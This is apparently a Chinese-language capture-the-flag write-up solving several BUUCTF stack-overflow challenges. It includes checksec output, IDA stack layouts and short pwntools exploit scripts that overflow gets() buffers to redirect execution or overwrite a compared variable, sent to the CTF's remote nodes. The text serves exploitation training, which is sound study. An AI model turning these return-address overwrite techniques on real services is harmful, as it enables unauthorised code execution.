ubuntu@vm:~/桌面$ checksec --file=pwn1 RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 64 Symbols No 0 1 pwn1
ubuntu@vm:~/桌面$ checksec --file=warmup_csaw_2016 RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No Symbols No 0 2
打开ida
发现函数gets(v5),是栈溢出,且v5占用64个位置
exp:
1 2 3 4 5 6 7
from pwn import * p=remote('node4.buuoj.cn', 27938) payload=b'A'*64+b'B'*8+p64(0x40060D+1) p.sendline(payload) p.interactive()
ciscn_2019_n_1
1 2 3
ubuntu@vm:~/桌面$ checksec --file=ciscn_2019_n_1 RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 73 Symbols No 0 1 ciscn_2019_n_1
v2 = 0.0; puts("Let's guess the number."); gets(&v1); if ( v2 == 11.28125 ) result = system("cat /flag"); else result = puts("Its value should be 11.28125"); return result; }
from pwn import * p = remote('node4.buuoj.cn', 26659) payload = b'A'*(0x30-0x4) + p64(0x41348000) p.send(payload) p.interactive()
方法二:利用system(“cat /flag”)
1 2 3 4 5 6 7 8 9 10
intfunc() { puts("Let's guess the number."); gets(&v1); if ( v2 == 11.28125 ) result = system("cat /flag"); /*$*/ else result = puts("Its value should be 11.28125"); return result; }
1 2 3 4 5 6
.rodata:00000000004007B4 s db 'Let',27h,'s guess the number.',0 .rodata:00000000004007B4 ; DATA XREF: func+11↑o .rodata:00000000004007CC ; constchar aCatFlag[] .rodata:00000000004007CC aCatFlag db 'cat /flag',0 ; DATA XREF: func+48↑o .rodata:00000000004007D6 ; constchar aItsValueShould[] .rodata:00000000004007D6 aItsValueShould db 'Its value should be 11.28125',0
我们可以直接跳过判断,直接通过栈溢出让函数返回执行system(“cat /flag”)
exp:
1 2 3 4 5 6
from pwn import * p = remote('node4.buuoj.cn', 26659) sys_addr = 0x4006BE payload = b'A'*(0x30+8) + p64(sys_addr) p.send(payload) p.interactive()
pwn1_sctf_2016
1 2 3
ubuntu@vm:~/桌面$ checksec --file=pwn1_sctf_2016 RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 129 Symbols No 0 3 pwn1_sctf_2016
-0000000C db ? ; undefined -0000000B db ? ; undefined -0000000A db ? ; undefined -00000009 var_9 db ? -00000008 db ? ; undefined -00000007 db ? ; undefined -00000006 db ? ; undefined -00000005 db ? ; undefined -00000004 var_4 dd ? +00000000 s db 4 dup(?) +00000004 r db 4 dup(?) +00000008 +00000008 ; end of stack variables
exp:
1 2 3 4 5
from pwn import * p = remote('node4.buuoj.cn', 25314) payload = b'I'*20 + b'a'*0x4 + p32(0x8048F0D) p.sendline(payload) p.interactive()
jarvisoj_level0
1 2 3
ubuntu@vm:~/桌面$ checksec --file=level0 RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 69 Symbols No 0 1 level0
-0000000000000080 ; D/A/* : change type (data/ascii/array) -0000000000000080 ; N : rename -0000000000000080 ; U : undefine -0000000000000080 ; Use data definition commands to create local variables and function arguments. -0000000000000080 ; Two special fields " r" and " s" represent return address and saved registers. -0000000000000080 ; Frame size: 80; Saved regs: 8; Purge: 0 //覆盖buf80个,rbp占用8个 -0000000000000080 ; -0000000000000080 -0000000000000080 buf db 128 dup(?) +0000000000000000 s db 8 dup(?) +0000000000000008 r db 8 dup(?) +0000000000000010 +0000000000000010 ; end of stack variables